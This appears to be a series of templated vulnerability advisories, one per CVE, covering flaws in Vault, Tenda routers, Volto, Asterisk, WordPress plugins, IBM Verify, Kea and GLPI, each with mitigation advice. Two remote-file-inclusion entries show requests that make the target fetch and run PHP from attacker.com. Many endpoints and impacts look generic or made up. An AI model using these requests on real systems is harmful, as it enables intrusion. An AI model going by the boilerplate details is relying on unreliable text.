Author: Ameeba

Overview

This report discusses the cybersecurity vulnerability CVE-2025-6203, a critical issue affecting Vault servers. This vulnerability allows a malicious user to send a specially-crafted complex payload that meets the default request size limit but leads to excessive memory and CPU consumption. This can cause Vault servers to become unresponsive, potentially leading to system compromise or data leakage.

Vulnerability Summary

CVE ID: CVE-2025-6203
Severity: High (CVSS: 7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Excessive memory and CPU consumption causing server unresponsiveness, potential system compromise or data leakage.

Affected Products

Product | Affected Versions

Vault Community Edition | Prior to 1.20.3
Vault Enterprise | Prior to 1.20.3, 1.19.9, 1.18.14, and 1.16.25

How the Exploit Works

The exploit takes advantage of the request processing mechanism of Vault servers. By crafting a complex payload that still meets the default request size limit, a malicious actor can cause the server to consume excessive memory and CPU resources. This leads to a timeout in Vault’s auditing subroutine, causing the server to become unresponsive and potentially leading to a system compromise or data leakage.

Conceptual Example Code

The vulnerability might be exploited using a HTTP POST request with a complex payload, as shown below:

POST /vault/processing HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "complex_payload": "..." }

In this example, the “complex_payload” parameter contains the specially crafted payload designed to exploit the vulnerability.

Mitigation Guidance

The best mitigation strategy is to apply the patch provided by the vendor. Affected versions should be updated to Vault Community Edition 1.20.3 or Vault Enterprise 1.20.3, 1.19.9, 1.18.14, and 1.16.25. As a temporary mitigation measure, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) could be used to help filter out malicious payloads.

Overview

A notable cybersecurity threat has been identified in the Tenda AC10 v4.0 firmware v16.03.10.20. The firmware was discovered to have a stack overflow vulnerability, exploitable via the function get_parentControl_list_Info. This vulnerability affects all users and networks utilizing this specific firmware version, potentially leading to system compromise or data leakage.

Vulnerability Summary

CVE ID: CVE-2025-57215
Severity: High (7.5 CVSS score)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: System compromise and potential data leakage

Affected Products

Product | Affected Versions

Tenda AC10 v4.0 Firmware | v16.03.10.20

How the Exploit Works

The vulnerability resides in the get_parentControl_list_Info function of the Tenda AC10 v4.0 firmware v16.03.10.20. An attacker can exploit this vulnerability by sending a specially crafted packet to the targeted system. This oversized packet would trigger a stack overflow in the function, causing the system to crash or execute arbitrary code, leading to potential system compromise or data leakage.

Conceptual Example Code

Given the nature of this vulnerability, a potential exploitation could occur in the form of a HTTP request as illustrated below:

POST /get_parentControl_list_Info HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "malicious_payload": "[INSERT OVERFLOW PAYLOAD HERE]" }

The “malicious_payload” would contain an oversized data string designed to trigger the stack overflow in the get_parentControl_list_Info function.

Mitigation

Users and network administrators are advised to apply the vendor-supplied patch to address this vulnerability. In the absence of a patch, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can be used as temporary mitigation, configured to detect and block attempts to exploit this vulnerability.

Overview

The CVE-2025-58047 vulnerability presents a severe risk to websites and applications running on certain versions of the Volto CMS, a popular React-based content management system. An attacker can exploit this vulnerability to cause a NodeJS server to quit with an error, potentially resulting in system compromise and data leakage. It is essential for organizations to address this vulnerability promptly to maintain their system integrity and protect sensitive data.

Vulnerability Summary

CVE ID: CVE-2025-58047
Severity: High (7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise and potential data leakage

Affected Products

Product | Affected Versions

Volto CMS | 19.0.0-alpha.1 to before 19.0.0-alpha.4
Volto CMS | 18.0.0 to before 18.24.0
Volto CMS | 17.0.0 to before 17.22.1
Volto CMS | Prior to 16.34.0

How the Exploit Works

The vulnerability lies in the handling of specific URLs by the NodeJS server part of Volto. When an anonymous user visits a particular URL, it triggers an error that causes the server to quit. An attacker could use this exploit to cause the server to repeatedly quit, leading to potential system compromise and data leakage.

Conceptual Example Code

An example of how this vulnerability might be exploited could be an HTTP GET request to the specific URL that triggers the server to quit. Here’s a conceptual example:

GET /exploit/endpoint HTTP/1.1
Host: target.example.com

The above request could potentially cause the NodeJS server to quit with an error, creating a window of opportunity for further exploits. It is crucial to patch this vulnerability or implement a WAF/IDS as a temporary mitigation measure.

Overview

The CVE-2025-57767 is a critical vulnerability in the Asterisk open-source PBX and telephony toolkit. Specifically affecting the SIP request authentication process, this bug could potentially lead to system compromise or data leakage if exploited. Given the widespread use of the Asterisk system, this vulnerability puts numerous businesses and individuals at risk worldwide.

Vulnerability Summary

CVE ID: CVE-2025-57767
Severity: High (7.5 CVSS)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise and potential data leakage

Affected Products

Product | Affected Versions

Asterisk PBX | <20.15.2 Asterisk PBX | <21.10.2 Asterisk PBX | <22.5.2 How the Exploit Works

The vulnerability lies within the get_authorization_header() function in res_pjsip_authenticator_digest. When a SIP request with an Authorization header containing a realm not previously included in a 401 response’s WWW-Authenticate header is received, or if an incorrect realm is received without a previous 401 response sent, the function returns a NULL. This return value is not appropriately checked before attempting to retrieve the digest algorithm, causing a SEGV, or segmentation fault. This could then be exploited by an attacker to compromise the system or leak data.

Conceptual Example Code

The malicious attacker might exploit the vulnerability by sending a SIP request with a manipulated Authorization header. This could look something like this:

INVITE sip:target@example.com SIP/2.0
Via: SIP/2.0/UDP attacker.com;branch=z9hG4bK74bf9
From: "Attacker" <sip:attacker@attacker.com>;tag=9fxced76sl
To: <sip:target@example.com>
Call-ID: 3848276298220188511@attacker.com
CSeq: 2 INVITE
Authorization: Digest username="user",realm="manipulated_realm",nonce="abc123",uri="sip:target@example.com",response="...",algorithm=MD5
Content-Length: 0

In this request, the ‘realm’ parameter in the Authorization header would be manipulated to an incorrect value, triggering the vulnerability.

Overview

The PHP Remote File Inclusion vulnerability, identified as CVE-2025-53328, impacts the plugin ‘Poll, Survey & Quiz Maker’ by Opinion Stage. This vulnerability is due to the improper control of the filename for Include/Require Statement in the PHP program, which consequently allows PHP Local File Inclusion. This issue is of significance because it could potentially lead to system compromise or data leakage.

Vulnerability Summary

CVE ID: CVE-2025-53328
Severity: High (CVSS:7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Poll, Survey & Quiz Maker Plugin by Opinion Stage | all versions through 19.11.0

How the Exploit Works

The vulnerability is present due to an improper check on the filename in the Include/Require statement of the PHP program. An attacker can exploit this vulnerability by inducing the application to include a file from a remote server. This file can contain malicious PHP code, which when executed, could lead to unauthorized system access or data leakage.

Conceptual Example Code

Given the nature of the vulnerability, an attacker might use a request like the one below to exploit it:

GET /path/to/vulnerable/plugin.php?filename=http://attacker.com/malicious-file.php HTTP/1.1
Host: target.example.com

In this example, the attacker is attempting to use the ‘filename’ parameter to inject a malicious file into the server. The server, if vulnerable, would then download and execute the malicious PHP script, potentially compromising the system.

Mitigation

It is recommended to apply the vendor patch as soon as it is available to mitigate this vulnerability. In the meantime, using a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can serve as a temporary mitigation. Regularly updating and patching systems, together with monitoring for unusual network activity, can also help reduce the risk of exploitation.

Overview

The CVE-2025-53326 is a cybersecurity vulnerability found within the CodeYatri Gutenify PHP program. This vulnerability, a form of PHP Remote File Inclusion (RFI), allows an attacker to include and execute a remote file. Given the severity of this issue, it can lead to system compromise and data leakage, making it a critical concern for users and administrators of Gutenify versions up to 1.5.6.

Vulnerability Summary

CVE ID: CVE-2025-53326
Severity: High (7.5 CVSS v3.0 Severity Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential for system compromise and data leakage

Affected Products

Product | Affected Versions

CodeYatri Gutenify | Up to 1.5.6

How the Exploit Works

RFI vulnerabilities, such as CVE-2025-53326, occur when an application includes a file from a remote server that it should not trust. In the case of Gutenify, an attacker can manipulate the ‘include’ or ‘require’ statements in the PHP program to include PHP files from a remote server. This allows them to execute arbitrary code and potentially compromise the system or leak data.

Conceptual Example Code

Consider the following conceptual example of an HTTP request exploiting the vulnerability:

POST /vulnerable/endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "include_file": "http://attacker.com/malicious.php" }

In this scenario, `malicious.php` is a PHP file hosted on the attacker’s server. When the request is processed by the target server, the PHP code within `malicious.php` is executed, potentially leading to system compromise or data leakage.

Mitigation

To mitigate the effects of the CVE-2025-53326 vulnerability, users and administrators are urged to apply the latest patch provided by the vendor. As a temporary measure, the use of a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can help detect and prevent exploitation attempts.

Overview

This report provides an overview of the identified vulnerability CVE-2024-13807, affecting the Xagio SEO plugin for WordPress up to version 7.1.0.5. This vulnerability is a major concern as it exposes sensitive information, allowing unauthenticated attackers to extract crucial data from backups, which can include the entire database and site’s files. This can lead to system compromise and data leakage, posing a significant risk to website owners and users.

Vulnerability Summary

CVE ID: CVE-2024-13807
Severity: High (CVSS: 7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise, Data Leakage

Affected Products

Product | Affected Versions

Xagio SEO Plugin for WordPress | Up to and including 7.1.0.5

How the Exploit Works

The vulnerability resides in the backup functionality of the Xagio SEO plugin. The plugin uses a weak filename structure and does not adequately protect the directory, making it easier for attackers to identify backup files. An unauthenticated attacker can exploit this vulnerability by accessing these backup files directly over the network. The extracted backup files can contain sensitive data such as the site’s entire database and files.

Conceptual Example Code

The following conceptual example demonstrates how an attacker might exploit this vulnerability. They could send a simple HTTP GET request to the backup file’s path, given the predictable filename structure:

GET /wp-content/plugins/xagio-seo/backups/db_backup_2024_07_07.sql HTTP/1.1
Host: target.example.com

Upon successful execution, the server would return the content of the backup file, revealing potentially sensitive data.

Overview

The CVE-2025-36003 is a critical vulnerability that affects IBM Security Verify Governance Identity Manager version 10.0.2. It has a high severity score of 7.5 and could allow a remote attacker to obtain sensitive system information via detailed technical error messages. This vulnerability matters because the information obtained could be used for further attacks on the system, potentially leading to a system compromise or data leakage.

Vulnerability Summary

CVE ID: CVE-2025-36003
Severity: High (7.5 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

IBM Security Verify Governance Identity Manager | 10.0.2

How the Exploit Works

An attacker could exploit this vulnerability by sending specially crafted requests to the affected application. When these requests result in an error, the system returns detailed technical error messages. These messages could contain sensitive system information that the attacker can use to understand the system better, identify other vulnerabilities, and plan further attacks.

Conceptual Example Code

Below is a conceptual example of how the vulnerability might be exploited. This is a sample HTTP request that triggers an error on the server, causing it to return a detailed error message.

GET /nonexistent/endpoint HTTP/1.1
Host: target.example.com
Accept: application/json

Mitigation Guidance

IBM has released a patch to address this vulnerability. Users are advised to apply the patch as soon as possible. If the patch cannot be applied immediately, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation. These tools can be configured to monitor and filter network traffic, blocking malicious requests that attempt to exploit this vulnerability.

Overview

This report addresses a significant vulnerability, CVE-2025-40779, found in the Kea DHCP server. If a DHCPv4 client sends a request containing specific options and Kea fails to find an appropriate subnet for the client, the `kea-dhcp4` process could abort, causing a system failure. This vulnerability affects multiple versions of Kea, and if exploited, could potentially lead to a system compromise or data leakage.

Vulnerability Summary

CVE ID: CVE-2025-40779
Severity: High (7.5 CVSS Score)
Attack Vector: DHCPv4 Client Request
Privileges Required: None
User Interaction: None
Impact: System compromise, data leakage

Affected Products

Product | Affected Versions

Kea | 2.7.1 – 2.7.9
Kea | 3.0.0
Kea | 3.1.0

How the Exploit Works

The exploit works when a DHCPv4 client sends a request with specific options to the Kea server. If Kea fails to find an appropriate subnet for the client, the `kea-dhcp4` process aborts due to an assertion failure. This vulnerability only affects if the client request is unicast directly to Kea; broadcast messages are not impacted by this issue.

Conceptual Example Code

The vulnerability can be potentially exploited by sending a malformed DHCPv4 client request to the Kea server, as illustrated in the conceptual pseudo-code below:

DHCPv4_Request {
HOST: Kea_Server_IP
Specific_Options: Malicious_payload
Request_Type: Unicast
}

In this pseudo-code, a DHCPv4 request is sent to the Kea server with malicious payload placed within the specific options. This can trigger a failure in the `kea-dhcp4` process if Kea cannot find an appropriate subnet for the client.

Overview

A notable vulnerability has been identified in the Gestionnaire Libre de Parc Informatique (GLPI), specifically in versions 10.0.0 to before 10.0.19. This vulnerability, identified as CVE-2025-53105, allows a connected user without administration rights to change the rules execution order, potentially leading to system compromise or data leakage. The severity of this vulnerability underlines the importance of its immediate resolution amongst users of the affected GLPI versions.

Vulnerability Summary

CVE ID: CVE-2025-53105
Severity: High (7.5)
Attack Vector: Network
Privileges Required: Low
User Interaction: Required
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

GLPI | 10.0.0 to before 10.0.19

How the Exploit Works

The exploit works by taking advantage of the weak user role management in the GLPI software. A user without administrative privileges can manipulate the order in which the rules execute. This could potentially lead to unexpected behavior of the software, data leakage, or even a full system compromise if the rules are configured to perform critical operations.

Conceptual Example Code

An example of how this vulnerability might be exploited is illustrated below. This is a conceptual example and may not represent an actual exploit.

POST /changeRuleOrder HTTP/1.1
Host: target.example.com
Content-Type: application/json
{
"ruleId": "1001",
"newPosition": "1"
}

In this example, the attacker sends a POST request to the ‘changeRuleOrder’ endpoint, attempting to reposition a rule identified by “ruleId” to a new position in the execution order. The successful execution of this request could result in the unauthorized modification of the GLPI software’s rules execution sequence.

Recommendation

Users are strongly advised to upgrade to version 10.0.19 or later where this vulnerability has been patched. In the interim, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can be used as temporary mitigation.